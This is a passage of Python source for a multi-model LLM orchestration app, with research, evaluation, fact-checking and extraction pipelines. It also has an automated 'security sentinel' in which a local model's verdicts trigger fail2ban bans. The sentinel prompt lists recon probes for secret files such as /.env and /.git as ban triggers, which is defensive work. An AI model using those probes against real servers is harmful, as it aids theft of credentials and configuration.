yield sse({"type": "status", "message": f"{role_name}: {m}..."})
|
|
try:
|
|
r = query_model(m, f"{instruction}\n\nQuestion: {prompt}")
|
|
responses[role_name] = (m, r)
|
|
yield sse({"type": "response", "model": m, "text": r, "role": role_name})
|
|
except Exception as e:
|
|
yield sse({"type": "response", "model": m, "text": str(e), "role": "error"})
|
|
|
|
# 360 synthesis
|
|
yield sse({"type": "status", "message": f"{synthesizer} weaving 360-degree view..."})
|
|
syn = f"Question: {prompt}\n\nMultiple stakeholders gave their perspective:\n\n"
|
|
for role, (m, r) in responses.items():
|
|
syn += f"[{role} ({m})]: {r.strip()}\n\n"
|
|
syn += "Synthesize a 360-degree view that balances all stakeholder perspectives. Highlight tensions and trade-offs."
|
|
try:
|
|
yield sse({"type": "response", "model": synthesizer, "text": query_model(synthesizer, syn), "role": "mesh-360"})
|
|
except Exception as e:
|
|
yield sse({"type": "response", "model": synthesizer, "text": str(e), "role": "error"})
|
|
|
|
|
|
def run_hallucination(config):
|
|
"""One answers, hunters verify each claim independently."""
|
|
prompt, answerer = config["prompt"], config["answerer"]
|
|
hunters = config.get("hunters", [])
|
|
yield sse({"type": "clear"})
|
|
|
|
# Get answer
|
|
yield sse({"type": "status", "message": f"{answerer} answering..."})
|
|
try:
|
|
answer = query_model(answerer, prompt)
|
|
yield sse({"type": "response", "model": answerer, "text": answer, "role": "answer"})
|
|
except Exception as e:
|
|
yield sse({"type": "response", "model": answerer, "text": str(e), "role": "error"}); return
|
|
|
|
# Extract claims
|
|
yield sse({"type": "status", "message": "Extracting factual claims..."})
|
|
extract_prompt = (
|
|
f"Extract every factual claim from this answer as a numbered list. Include specific facts, numbers, dates, "
|
|
f"names, and cause-effect relationships. One claim per line.\n\nAnswer:\n{answer}"
|
|
)
|
|
try:
|
|
claims = query_model(answerer, extract_prompt)
|
|
yield sse({"type": "response", "model": answerer, "text": claims, "role": "claims extracted"})
|
|
except Exception as e:
|
|
yield sse({"type": "response", "model": answerer, "text": str(e), "role": "error"}); return
|
|
|
|
# Each hunter verifies independently
|
|
yield sse({"type": "status", "message": f"{len(hunters)} hunters verifying claims..."})
|
|
hunt_prompt = (
|
|
f"Original question: {prompt}\n\n"
|
|
f"An AI generated this answer:\n{answer}\n\n"
|
|
f"Here are the extracted claims:\n{claims}\n\n"
|
|
f"For EACH claim, verdict:\n"
|
|
f" VERIFIED - you are confident this is correct\n"
|
|
f" SUSPICIOUS - might be wrong or misleading\n"
|
|
f" HALLUCINATED - this is likely made up or incorrect\n"
|
|
f" UNVERIFIABLE - cannot determine from your knowledge\n"
|
|
f"Explain your reasoning for suspicious/hallucinated claims."
|
|
)
|
|
results = parallel_query(hunters, hunt_prompt)
|
|
for m, r in results.items():
|
|
yield sse({"type": "response", "model": m, "text": r, "role": "hunter"})
|
|
|
|
|
|
def run_timeloop(config):
|
|
"""CHAOS MODE: answer -> catastrophe -> fix -> new catastrophe -> repeat."""
|
|
prompt = config["prompt"]
|
|
answerer = config["answerer"]
|
|
chaos = config["chaos"]
|
|
loops = config.get("loops", 4)
|
|
yield sse({"type": "clear"})
|
|
|
|
# Initial answer
|
|
yield sse({"type": "status", "message": f"{answerer} answering (unaware of impending doom)..."})
|
|
try:
|
|
current = query_model(answerer, prompt)
|
|
yield sse({"type": "response", "model": answerer, "text": current, "role": "initial (doomed)"})
|
|
except Exception as e:
|
|
yield sse({"type": "response", "model": answerer, "text": str(e), "role": "error"}); return
|
|
|
|
catastrophes = []
|
|
for i in range(loops):
|
|
# Chaos agent creates a catastrophe
|
|
yield sse({"type": "status", "message": f"Loop {i+1}: CHAOS AGENT unleashed..."})
|
|
chaos_prompt = (
|
|
f"Original question: {prompt}\n\n"
|
|
f"Someone implemented this answer:\n{current}\n\n"
|
|
f"Previous catastrophes that were already fixed: {catastrophes if catastrophes else 'None yet'}\n\n"
|
|
f"You are a CHAOS AGENT. Describe a SPECIFIC, VIVID catastrophe that happened because of a flaw "
|
|
f"in this answer. Be creative and dramatic but grounded in a real flaw. "
|
|
f"Describe: 1) What went wrong 2) The cascading consequences 3) Who/what was affected. "
|
|
f"Make it different from previous catastrophes. Be theatrical!"
|
|
)
|
|
try:
|
|
catastrophe = query_model(chaos, chaos_prompt)
|
|
catastrophes.append(catastrophe.strip()[:200])
|
|
yield sse({"type": "response", "model": chaos, "text": catastrophe, "role": f"catastrophe {i+1}"})
|
|
except Exception as e:
|
|
yield sse({"type": "response", "model": chaos, "text": str(e), "role": "error"}); continue
|
|
|
|
# Answerer must fix
|
|
yield sse({"type": "status", "message": f"Loop {i+1}: {answerer} desperately fixing..."})
|
|
fix_prompt = (
|
|
f"Original question: {prompt}\n\n"
|
|
f"Your previous answer:\n{current}\n\n"
|
|
f"CATASTROPHE REPORT:\n{catastrophe}\n\n"
|
|
f"ALL previous catastrophes you must also prevent:\n" +
|
|
"\n".join(f" {j+1}. {c}" for j, c in enumerate(catastrophes)) +
|
|
f"\n\nRewrite your answer to prevent THIS catastrophe and ALL previous ones. "
|
|
f"Your answer must be BULLETPROOF. Return the complete fixed answer."
|
|
)
|
|
try:
|
|
current = query_model(answerer, fix_prompt)
|
|
is_last = i == loops - 1
|
|
yield sse({"type": "response", "model": answerer, "text": current, "role": "survivor" if is_last else f"fix {i+1}"})
|
|
except Exception as e:
|
|
yield sse({"type": "response", "model": answerer, "text": str(e), "role": "error"})
|
|
|
|
# Final verdict from chaos agent
|
|
yield sse({"type": "status", "message": f"{chaos} final inspection..."})
|
|
final_prompt = (
|
|
f"Original question: {prompt}\n\n"
|
|
f"After {loops} catastrophes, the final answer is:\n{current}\n\n"
|
|
f"All catastrophes it survived:\n" +
|
|
"\n".join(f" {j+1}. {c}" for j, c in enumerate(catastrophes)) +
|
|
f"\n\nAs the Chaos Agent, give your final verdict: Is this answer now truly bulletproof? "
|
|
f"Rate its resilience 1-10. Can you find ONE MORE flaw? If not, admit defeat."
|
|
)
|
|
try:
|
|
yield sse({"type": "response", "model": chaos, "text": query_model(chaos, final_prompt), "role": "final judgment"})
|
|
except Exception as e:
|
|
yield sse({"type": "response", "model": chaos, "text": str(e), "role": "error"})
|
|
|
|
|
|
# ─── AUTONOMOUS PIPELINES ─────────────────────────────────────
|
|
|
|
def _save_pipeline(pipeline, topic, steps, result, models, start_ms):
|
|
import time
|
|
duration = int((time.time() * 1000) - start_ms)
|
|
try:
|
|
with get_db() as conn:
|
|
with conn.cursor() as cur:
|
|
cur.execute(
|
|
"""INSERT INTO pipeline_runs (pipeline, topic, status, steps, result, models_used, duration_ms, completed_at)
|
|
VALUES (%s, %s, 'completed', %s, %s, %s, %s, NOW())""",
|
|
(pipeline, topic, json.dumps(steps), json.dumps(result), list(set(models)), duration)
|
|
)
|
|
conn.commit()
|
|
except Exception as e:
|
|
print(f"[DB] pipeline save error: {e}")
|
|
|
|
|
|
def run_research(config):
|
|
"""Autonomous research pipeline: scout → parallel research → fact-check → synthesize."""
|
|
import time
|
|
start = time.time() * 1000
|
|
prompt = config["prompt"]
|
|
scout = config.get("scout", "llama3.2:latest")
|
|
models = config.get("models", [])
|
|
checker = config.get("checker", models[0] if models else scout)
|
|
synth = config.get("synthesizer", models[0] if models else scout)
|
|
num_q = min(config.get("num_questions", 5), 15) # hard cap at 15
|
|
yield sse({"type": "clear"})
|
|
total_steps = 4
|
|
steps = []
|
|
all_models = [scout, checker, synth] + models
|
|
|
|
# Step 1: Scout generates research questions
|
|
yield sse({"type": "progress", "step": 1, "total_steps": total_steps, "substep": f"{scout} generating {num_q} research questions...", "percent": 5})
|
|
yield sse({"type": "status", "message": f"Step 1/{total_steps}: {scout} generating {num_q} research questions..."})
|
|
try:
|
|
q_prompt = (
|
|
f"You are a research scout. Given the topic below, generate exactly {num_q} specific, "
|
|
f"diverse research questions that would build a comprehensive understanding. "
|
|
f"Return ONLY a numbered list.\n\nTopic: {prompt}"
|
|
)
|
|
questions_raw = query_model(scout, q_prompt)
|
|
yield sse({"type": "response", "model": scout, "text": questions_raw, "role": "scout"})
|
|
steps.append({"step": "scout", "model": scout, "output": questions_raw})
|
|
except Exception as e:
|
|
yield sse({"type": "response", "model": scout, "text": str(e), "role": "error"})
|
|
return
|
|
|
|
# Parse questions
|
|
questions = [l.strip() for l in questions_raw.strip().split("\n") if l.strip() and any(c.isalpha() for c in l)]
|
|
questions = questions[:num_q]
|
|
if not questions:
|
|
yield sse({"type": "response", "model": "system", "text": "Failed to parse research questions.", "role": "error"})
|
|
return
|
|
|
|
yield sse({"type": "progress", "step": 1, "total_steps": total_steps, "substep": f"Parsed {len(questions)} questions", "percent": 15})
|
|
|
|
# Step 2: Parallel research — distribute questions across models
|
|
yield sse({"type": "progress", "step": 2, "total_steps": total_steps, "substep": f"0/{len(questions)} questions researched...", "percent": 18})
|
|
yield sse({"type": "status", "message": f"Step 2/{total_steps}: {len(models)} models researching {len(questions)} questions..."})
|
|
research_results = {}
|
|
completed_q = 0
|
|
failed_q = 0
|
|
with ThreadPoolExecutor(max_workers=max(len(models), 1)) as pool:
|
|
futures = {}
|
|
for i, q in enumerate(questions):
|
|
m = models[i % len(models)] if models else scout
|
|
rp = f"Research this question thoroughly. Provide specific facts, data, and examples.\n\nQuestion: {q}"
|
|
futures[pool.submit(query_model, m, rp)] = (m, q)
|
|
for future in as_completed(futures):
|
|
m, q = futures[future]
|
|
try:
|
|
answer = future.result()
|
|
# Cap individual research answers to prevent context explosion
|
|
if len(answer) > 8000:
|
|
answer = answer[:7500] + "\n\n[... response truncated for pipeline stability ...]"
|
|
research_results[q] = {"model": m, "answer": answer}
|
|
completed_q += 1
|
|
pct = 18 + int((completed_q / len(questions)) * 42)
|
|
yield sse({"type": "progress", "step": 2, "total_steps": total_steps, "substep": f"{completed_q}/{len(questions)} questions researched", "percent": pct})
|
|
yield sse({"type": "response", "model": m, "text": f"Q: {q}\n\n{answer}", "role": "researcher"})
|
|
except Exception as e:
|
|
failed_q += 1
|
|
completed_q += 1
|
|
pct = 18 + int((completed_q / len(questions)) * 42)
|
|
yield sse({"type": "progress", "step": 2, "total_steps": total_steps, "substep": f"{completed_q}/{len(questions)} ({failed_q} failed)", "percent": pct})
|
|
yield sse({"type": "response", "model": m, "text": f"Q: {q}\n\nError: {e}", "role": "error"})
|
|
research_results[q] = {"model": m, "answer": f"Error: {e}"}
|
|
steps.append({"step": "research", "results": {q: r["answer"][:500] for q, r in research_results.items()}})
|
|
|
|
# Step 3: Fact-check — cap context to prevent OOM
|
|
yield sse({"type": "progress", "step": 3, "total_steps": total_steps, "substep": f"{checker} fact-checking...", "percent": 62})
|
|
yield sse({"type": "status", "message": f"Step 3/{total_steps}: {checker} fact-checking all findings..."})
|
|
check_prompt = f"Topic: {prompt}\n\nResearch findings to fact-check:\n\n"
|
|
# Smart truncation: fit within context limits
|
|
per_answer_cap = min(300, 3000 // max(len(research_results), 1))
|
|
for q, r in research_results.items():
|
|
if r["answer"].startswith("Error:"):
|
|
continue
|
|
check_prompt += f"Q: {q}\nA: {r['answer'][:per_answer_cap]}\n\n"
|
|
check_prompt += (
|
|
"For each finding, mark as:\n"
|
|
" VERIFIED — likely accurate\n"
|
|
" UNCERTAIN — may be wrong or outdated\n"
|
|
" FLAGGED — likely inaccurate\n"
|
|
"Be specific about what's wrong with flagged items."
|
|
)
|
|
try:
|
|
check_result = query_model(checker, check_prompt)
|
|
yield sse({"type": "response", "model": checker, "text": check_result, "role": "fact-checker"})
|
|
steps.append({"step": "fact-check", "model": checker, "output": check_result[:1000]})
|
|
except Exception as e:
|
|
check_result = f"Error: {e}"
|
|
yield sse({"type": "response", "model": checker, "text": str(e), "role": "error"})
|
|
|
|
# Step 4: Synthesize into brief — cap context
|
|
yield sse({"type": "progress", "step": 4, "total_steps": total_steps, "substep": f"{synth} synthesizing brief...", "percent": 80})
|
|
yield sse({"type": "status", "message": f"Step 4/{total_steps}: {synth} synthesizing research brief..."})
|
|
synth_prompt = f"Topic: {prompt}\n\nResearch findings:\n\n"
|
|
per_synth_cap = min(400, 4000 // max(len(research_results), 1))
|
|
for q, r in research_results.items():
|
|
if r["answer"].startswith("Error:"):
|
|
synth_prompt += f"Q: {q}\nA: [research failed]\n\n"
|
|
else:
|
|
synth_prompt += f"Q: {q}\nA: {r['answer'][:per_synth_cap]}\n\n"
|
|
synth_prompt += f"\nFact-check notes:\n{check_result[:500]}\n\n"
|
|
synth_prompt += (
|
|
"Synthesize ALL findings into a structured research brief with these sections:\n"
|
|
"1. EXECUTIVE SUMMARY (2-3 sentences)\n"
|
|
"2. KEY FINDINGS (bulleted list)\n"
|
|
"3. DETAILED ANALYSIS (organized by theme)\n"
|
|
"4. UNCERTAINTIES & GAPS (what needs more research)\n"
|
|
"5. RECOMMENDATIONS (actionable next steps)\n"
|
|
"Be comprehensive but concise."
|
|
)
|
|
try:
|
|
brief = query_model(synth, synth_prompt)
|
|
yield sse({"type": "response", "model": synth, "text": brief, "role": "synthesis"})
|
|
steps.append({"step": "synthesis", "model": synth, "output": brief[:2000]})
|
|
except Exception as e:
|
|
brief = f"Error: {e}"
|
|
yield sse({"type": "response", "model": synth, "text": str(e), "role": "error"})
|
|
|
|
yield sse({"type": "progress", "step": 4, "total_steps": total_steps, "substep": "Research complete", "percent": 100})
|
|
|
|
# Save pipeline run
|
|
_save_pipeline("research", prompt, steps, {"brief": brief, "questions": questions, "fact_check": check_result[:1000]}, all_models, start)
|
|
|
|
|
|
def run_eval(config):
|
|
"""Model evaluation pipeline: same prompts → all models → judge scores → leaderboard."""
|
|
import time
|
|
start = time.time() * 1000
|
|
prompt = config["prompt"]
|
|
models = config.get("models", [])
|
|
judge = config.get("judge", models[0] if models else "qwen2.5:latest")
|
|
eval_type = config.get("eval_type", "general")
|
|
rounds = config.get("rounds", 3)
|
|
yield sse({"type": "clear"})
|
|
steps = []
|
|
all_models = models + [judge]
|
|
|
|
# Generate eval prompts based on type
|
|
yield sse({"type": "status", "message": f"Generating {rounds} {eval_type} evaluation prompts..."})
|
|
gen_prompt = (
|
|
f"Generate exactly {rounds} evaluation prompts for testing LLM capability in: {eval_type}.\n"
|
|
f"Context/focus area: {prompt}\n\n"
|
|
f"Each prompt should test a different aspect. Return ONLY a numbered list of prompts, nothing else."
|
|
)
|
|
try:
|
|
prompts_raw = query_model(judge, gen_prompt)
|
|
yield sse({"type": "response", "model": judge, "text": prompts_raw, "role": "prompt generator"})
|
|
except Exception as e:
|
|
yield sse({"type": "response", "model": judge, "text": str(e), "role": "error"})
|
|
return
|
|
|
|
eval_prompts = [l.strip() for l in prompts_raw.strip().split("\n") if l.strip() and any(c.isalpha() for c in l)]
|
|
eval_prompts = eval_prompts[:rounds]
|
|
if not eval_prompts:
|
|
yield sse({"type": "response", "model": "system", "text": "Failed to generate eval prompts.", "role": "error"})
|
|
return
|
|
|
|
# Run each prompt against all models
|
|
scores = {m: [] for m in models}
|
|
for ri, ep in enumerate(eval_prompts):
|
|
yield sse({"type": "status", "message": f"Round {ri+1}/{len(eval_prompts)}: Testing {len(models)} models..."})
|
|
|
|
# All models answer in parallel
|
|
responses = parallel_query(models, ep)
|
|
for m, r in responses.items():
|
|
yield sse({"type": "response", "model": m, "text": f"[Round {ri+1}] {ep[:80]}...\n\n{r}", "role": f"round {ri+1}"})
|
|
|
|
# Judge scores all responses
|
|
yield sse({"type": "status", "message": f"Round {ri+1}: Judging..."})
|
|
judge_prompt = (
|
|
f"Evaluation prompt: {ep}\n\n"
|
|
f"Score each model's response 1-10 on: accuracy, completeness, clarity, reasoning.\n"
|
|
f"Return a JSON object: {{\"model_name\": {{\"score\": N, \"notes\": \"brief note\"}}}}.\n\n"
|
|
)
|
|
for m, r in responses.items():
|
|
judge_prompt += f"[{m}]:\n{r[:500]}\n\n"
|
|
try:
|
|
judgment = query_model(judge, judge_prompt)
|
|
yield sse({"type": "response", "model": judge, "text": judgment, "role": f"judge round {ri+1}"})
|
|
# Try to parse scores
|
|
try:
|
|
import re
|
|
# Find numbers after model names
|
|
for m in models:
|
|
# Look for score patterns near model name
|
|
pattern = re.escape(m) + r'.*?["\s:]+(\d+)'
|
|
match = re.search(pattern, judgment, re.IGNORECASE | re.DOTALL)
|
|
if match:
|
|
scores[m].append(int(match.group(1)))
|
|
except Exception:
|
|
pass
|
|
except Exception as e:
|
|
yield sse({"type": "response", "model": judge, "text": str(e), "role": "error"})
|
|
|
|
steps.append({"round": ri+1, "prompt": ep, "responses": {m: r[:300] for m, r in responses.items()}})
|
|
|
|
# Final leaderboard
|
|
yield sse({"type": "status", "message": "Generating leaderboard..."})
|
|
leaderboard = []
|
|
for m in models:
|
|
avg = sum(scores[m]) / len(scores[m]) if scores[m] else 0
|
|
leaderboard.append({"model": m, "avg_score": round(avg, 1), "rounds": len(scores[m]), "scores": scores[m]})
|
|
leaderboard.sort(key=lambda x: x["avg_score"], reverse=True)
|
|
|
|
board_text = f"LEADERBOARD — {eval_type.upper()} ({len(eval_prompts)} rounds)\n{'='*50}\n\n"
|
|
for i, entry in enumerate(leaderboard):
|
|
medal = ["1st", "2nd", "3rd"][i] if i < 3 else f"{i+1}th"
|
|
bar = "#" * int(entry["avg_score"])
|
|
board_text += f" {medal} {entry['model']:<30} {entry['avg_score']:>4}/10 {bar}\n"
|
|
if entry["scores"]:
|
|
board_text += f" Round scores: {entry['scores']}\n\n"
|
|
|
|
yield sse({"type": "response", "model": judge, "text": board_text, "role": "final"})
|
|
|
|
_save_pipeline("eval", prompt, steps, {"leaderboard": leaderboard, "eval_type": eval_type}, all_models, start)
|
|
|
|
|
|
def run_extract(config):
|
|
"""Knowledge extraction pipeline: chunk text → extract facts → verify → structured output."""
|
|
import time
|
|
start = time.time() * 1000
|
|
prompt = config["prompt"]
|
|
extractor = config.get("extractor", "qwen2.5:latest")
|
|
verifier = config.get("verifier", "gemma2:latest")
|
|
source = config.get("source", "prompt")
|
|
yield sse({"type": "clear"})
|
|
steps = []
|
|
all_models = [extractor, verifier]
|
|
|
|
# Get source text
|
|
source_text = prompt
|
|
if source != "prompt":
|
|
file_map = {
|
|
"ontology": "/home/profit/ONTOLOGY.md",
|
|
"index": "/home/profit/INDEX.md",
|
|
"summaries": "/home/profit/SUMMARIES.md",
|
|
"guides": "/home/profit/GUIDES.md",
|
|
}
|
|
fpath = file_map.get(source)
|
|
if fpath and os.path.exists(fpath):
|
|
yield sse({"type": "status", "message": f"Reading {source}..."})
|
|
with open(fpath) as f:
|
|
source_text = f.read()[:15000] # limit to ~15K chars
|
|
yield sse({"type": "response", "model": "system", "text": f"Loaded {source} ({len(source_text)} chars)", "role": "source"})
|
|
else:
|
|
yield sse({"type": "response", "model": "system", "text": f"File not found: {source}", "role": "error"})
|
|
return
|
|
|
|
# Chunk if too long
|
|
chunks = []
|
|
chunk_size = 4000
|
|
for i in range(0, len(source_text), chunk_size):
|
|
chunks.append(source_text[i:i+chunk_size])
|
|
|
|
yield sse({"type": "status", "message": f"Processing {len(chunks)} chunk(s) with {extractor}..."})
|
|
|
|
all_facts = []
|
|
all_entities = []
|
|
all_relations = []
|
|
|
|
for ci, chunk in enumerate(chunks):
|
|
yield sse({"type": "status", "message": f"Extracting from chunk {ci+1}/{len(chunks)}..."})
|
|
extract_prompt = (
|
|
f"Extract structured knowledge from this text. Return a JSON object with:\n"
|
|
f" \"facts\": [\"fact 1\", \"fact 2\", ...],\n"
|
|
f" \"entities\": [{{\"name\": \"...\", \"type\": \"...\", \"description\": \"...\"}}, ...],\n"
|
|
f" \"relationships\": [{{\"from\": \"...\", \"to\": \"...\", \"type\": \"...\"}}, ...]\n\n"
|
|
f"Be thorough. Extract EVERY factual claim, named entity, and relationship.\n\n"
|
|
f"Text:\n{chunk}"
|
|
)
|
|
try:
|
|
result = query_model(extractor, extract_prompt)
|
|
yield sse({"type": "response", "model": extractor, "text": result, "role": f"extraction {ci+1}"})
|
|
# Try to parse JSON from response
|
|
try:
|
|
import re
|
|
json_match = re.search(r'\{[\s\S]*\}', result)
|
|
if json_match:
|
|
parsed = json.loads(json_match.group())
|
|
all_facts.extend(parsed.get("facts", []))
|
|
all_entities.extend(parsed.get("entities", []))
|
|
all_relations.extend(parsed.get("relationships", []))
|
|
except Exception:
|
|
all_facts.append(result[:500])
|
|
except Exception as e:
|
|
yield sse({"type": "response", "model": extractor, "text": str(e), "role": "error"})
|
|
|
|
steps.append({"step": "extraction", "facts": len(all_facts), "entities": len(all_entities), "relations": len(all_relations)})
|
|
|
|
# Verify key facts
|
|
yield sse({"type": "status", "message": f"{verifier} verifying {len(all_facts)} facts..."})
|
|
facts_sample = all_facts[:20] # verify up to 20
|
|
verify_prompt = (
|
|
f"Verify these extracted facts. For each, mark CORRECT, INCORRECT, or UNVERIFIABLE.\n"
|
|
f"If incorrect, provide the correction.\n\n"
|
|
)
|
|
for i, f in enumerate(facts_sample):
|
|
fact_str = f if isinstance(f, str) else json.dumps(f)
|
|
verify_prompt += f"{i+1}. {fact_str}\n"
|
|
try:
|
|
verification = query_model(verifier, verify_prompt)
|
|
yield sse({"type": "response", "model": verifier, "text": verification, "role": "verifier"})
|
|
steps.append({"step": "verification", "model": verifier, "output": verification[:1000]})
|
|
except Exception as e:
|
|
verification = str(e)
|
|
yield sse({"type": "response", "model": verifier, "text": str(e), "role": "error"})
|
|
|
|
# Summary
|
|
summary = (
|
|
f"KNOWLEDGE EXTRACTION SUMMARY\n{'='*40}\n\n"
|
|
f"Source: {source}\n"
|
|
f"Facts extracted: {len(all_facts)}\n"
|
|
f"Entities found: {len(all_entities)}\n"
|
|
f"Relationships mapped: {len(all_relations)}\n\n"
|
|
f"TOP ENTITIES:\n"
|
|
)
|
|
for e in all_entities[:15]:
|
|
if isinstance(e, dict):
|
|
summary += f" [{e.get('type','?')}] {e.get('name','?')} — {e.get('description','')[:60]}\n"
|
|
summary += f"\nTOP RELATIONSHIPS:\n"
|
|
for r in all_relations[:15]:
|
|
if isinstance(r, dict):
|
|
summary += f" {r.get('from','?')} --[{r.get('type','?')}]--> {r.get('to','?')}\n"
|
|
|
|
yield sse({"type": "response", "model": "system", "text": summary, "role": "final"})
|
|
|
|
result_data = {
|
|
"facts": all_facts[:100],
|
|
"entities": all_entities[:50],
|
|
"relationships": all_relations[:50],
|
|
"verification": verification[:1000],
|
|
"source": source,
|
|
}
|
|
_save_pipeline("extract", prompt or source, steps, result_data, all_models, start)
|
|
|
|
|
|
# ─── AI SECURITY SENTINEL ─────────────────────────────────────
|
|
|
|
SENTINEL_LOG = "/var/log/llm-team-sentinel.log"
|
|
SENTINEL_MODEL = "qwen2.5:latest"
|
|
SENTINEL_INTERVAL = 300 # 5 minutes
|
|
_sentinel_last_pos = 0
|
|
_sentinel_results = [] # last 50 analyses
|
|
_sentinel_stats = {"scans": 0, "bans": 0, "last_run": None, "last_error": None}
|
|
|
|
def _sentinel_log_entry(msg):
|
|
"""Write to sentinel log file."""
|
|
try:
|
|
with open(SENTINEL_LOG, "a") as f:
|
|
f.write(f"{time.strftime('%Y-%m-%d %H:%M:%S')} {msg}\n")
|
|
except Exception:
|
|
pass
|
|
|
|
def _sentinel_scan():
|
|
"""Read new security log entries and analyze with local AI."""
|
|
global _sentinel_last_pos
|
|
import subprocess, collections
|
|
|
|
_sentinel_stats["last_run"] = time.strftime("%Y-%m-%d %H:%M:%S")
|
|
_sentinel_stats["scans"] += 1
|
|
|
|
# Read new lines since last scan
|
|
try:
|
|
with open("/var/log/llm-team-security.log") as f:
|
|
f.seek(0, 2) # end of file
|
|
file_size = f.tell()
|
|
if _sentinel_last_pos > file_size:
|
|
_sentinel_last_pos = 0 # log rotated
|
|
f.seek(_sentinel_last_pos)
|
|
new_lines = f.readlines()
|
|
_sentinel_last_pos = f.tell()
|
|
except Exception as e:
|
|
_sentinel_stats["last_error"] = str(e)
|
|
return
|
|
|
|
if not new_lines:
|
|
_sentinel_log_entry("SCAN_COMPLETE new_lines=0 action=none")
|
|
return
|
|
|
|
# Aggregate by IP
|
|
ip_activity = collections.defaultdict(list)
|
|
for line in new_lines:
|
|
line = line.strip()
|
|
if not line:
|
|
continue
|
|
ip = None
|
|
for token in line.split():
|
|
if token.startswith("ip="):
|
|
ip = token[3:]
|
|
break
|
|
if ip and not ip.startswith("192.168."):
|
|
ip_activity[ip].append(line)
|
|
|
|
if not ip_activity:
|
|
_sentinel_log_entry(f"SCAN_COMPLETE new_lines={len(new_lines)} external_ips=0 action=none")
|
|
return
|
|
|
|
# Get currently banned IPs to skip
|
|
banned = set()
|
|
try:
|
|
for jail in ["llm-team-exploit", "llm-team-login"]:
|
|
result = subprocess.run(["fail2ban-client", "status", jail], capture_output=True, text=True, timeout=5)
|
|
for line in result.stdout.split("\n"):
|
|
if "Banned IP list" in line:
|
|
for ip in line.split(":", 1)[1].strip().split():
|
|
banned.add(ip.strip())
|
|
except Exception:
|
|
pass
|
|
|
|
# Build analysis prompt for the AI
|
|
analysis_items = []
|
|
for ip, lines in ip_activity.items():
|
|
if ip in banned:
|
|
continue
|
|
summary = f"IP {ip} ({len(lines)} events):\n"
|
|
for l in lines[:8]: # cap at 8 lines per IP
|
|
summary += f" {l}\n"
|
|
analysis_items.append((ip, summary, lines))
|
|
|
|
if not analysis_items:
|
|
_sentinel_log_entry(f"SCAN_COMPLETE new_lines={len(new_lines)} all_banned_or_lan action=none")
|
|
return
|
|
|
|
# Batch analysis prompt
|
|
prompt = (
|
|
"You are an aggressive cybersecurity sentinel protecting a PRIVATE production web application. "
|
|
"There is NO legitimate reason for unknown IPs to probe this server. "
|
|
"Analyze these log entries and classify each IP. Respond with ONLY a JSON array:\n"
|
|
'[{"ip": "x.x.x.x", "threat": "none|low|medium|high|critical", "action": "ignore|monitor|ban", '
|
|
'"reason": "brief reason", "attack_type": "scanner|bruteforce|exploit|bot|compromised_host|legitimate"}]\n\n'
|
|
"RULES (follow strictly — err on the side of banning):\n"
|
|
"- ANY probe for /.git, /.env, /wp-admin, /phpmyadmin, /xmlrpc.php, /admin.php, /config = BAN immediately\n"
|
|
"- ANY probe for .env.production, .env.local, .env.development = BAN — this is targeted recon\n"
|
|
"- Multiple different user agents from same IP = rotating scanner = BAN\n"
|
|
"- HeadlessChrome, curl, python-requests doing probing = automated scanner = BAN\n"
|
|
"- Failed logins >= 2 = BAN\n"
|
|
"- /robots.txt or /favicon.ico ALONE from a known bot UA = ignore\n"
|
|
"- Everything else = BAN if it looks automated, monitor if genuinely ambiguous\n"
|
|
"- When in doubt, BAN. This is a private server.\n\n"
|
|
"Log entries:\n\n"
|
|
)
|
|
for ip, summary, _ in analysis_items[:15]: # max 15 IPs per scan
|
|
prompt += summary + "\n"
|
|
|
|
# Query local AI
|
|
try:
|
|
cfg = load_config()
|
|
base = cfg["providers"]["ollama"].get("base_url", "http://localhost:11434")
|
|
resp = requests.post(f"{base}/api/generate", json={
|
|
"model": SENTINEL_MODEL, "prompt": prompt, "stream": False,
|
|
"options": {"num_ctx": 4096, "temperature": 0.1}
|
|
}, timeout=60)
|
|
resp.raise_for_status()
|
|
ai_response = resp.json()["response"]
|
|
except Exception as e:
|
|
_sentinel_stats["last_error"] = f"AI query failed: {e}"
|
|
_sentinel_log_entry(f"AI_ERROR error={e}")
|
|
return
|
|
|
|
# Parse AI response
|
|
try:
|
|
# Extract JSON from response (handle markdown code blocks)
|
|
text = ai_response.strip()
|
|
if "```" in text:
|
|
text = text.split("```")[1]
|
|
if text.startswith("json"):
|
|
text = text[4:]
|
|
# Find the JSON array
|
|
start_idx = text.find("[")
|
|
end_idx = text.rfind("]") + 1
|
|
if start_idx >= 0 and end_idx > start_idx:
|
|
text = text[start_idx:end_idx]
|
|
verdicts = json.loads(text)
|
|
except Exception as e:
|
|
_sentinel_stats["last_error"] = f"Parse failed: {e}"
|
|
_sentinel_log_entry(f"PARSE_ERROR response={ai_response[:200]}")
|
|
return
|
|
|
|
# Execute actions
|
|
ban_count = 0
|
|
for v in verdicts:
|
|
ip = v.get("ip", "")
|
|
action = v.get("action", "ignore")
|
|
threat = v.get("threat", "low")
|
|
reason = v.get("reason", "")
|
|
attack_type = v.get("attack_type", "unknown")
|
|
|
|
result_entry = {
|
|
"ip": ip, "threat": threat, "action": action,
|
|
"reason": reason, "attack_type": attack_type,
|
|
"time": time.strftime("%Y-%m-%d %H:%M:%S")
|
|
}
|
|
_sentinel_results.append(result_entry)
|
|
if len(_sentinel_results) > 50:
|
|
_sentinel_results.pop(0)
|
|
|
|
if action == "ban" and ip and not ip.startswith("192.168."):
|
|
try:
|
|
subprocess.run(["fail2ban-client", "set", "llm-team-exploit", "banip", ip],
|
|
capture_output=True, text=True, timeout=5)
|
|
ban_count += 1
|
|
sec_log.warning("AI_BAN ip=%s threat=%s reason=%s attack=%s", ip, threat, reason, attack_type)
|
|
_sentinel_log_entry(f"AI_BAN ip={ip} threat={threat} reason={reason} attack_type={attack_type}")
|
|
except Exception as e:
|
|
_sentinel_log_entry(f"BAN_FAILED ip={ip} error={e}")
|
|
else:
|
|
_sentinel_log_entry(f"AI_VERDICT ip={ip} threat={threat} action={action} reason={reason} attack_type={attack_type}")
|
|
|
|
_sentinel_stats["bans"] += ban_count
|
|
_sentinel_log_entry(f"SCAN_COMPLETE new_lines={len(new_lines)} ips_analyzed={len(analysis_items)} verdicts={len(verdicts)} bans={ban_count}")
|
|
|
|
|
|
def _sentinel_loop():
|
|
"""Background loop running every SENTINEL_INTERVAL seconds."""
|
|
global _sentinel_last_pos
|
|
# Start from end of file (only analyze new entries)
|
|
try:
|
|
with open("/var/log/llm-team-security.log") as f:
|
|
f.seek(0, 2)
|
|
_sentinel_last_pos = f.tell()
|
|
except Exception:
|
|
pass
|
|
|
|
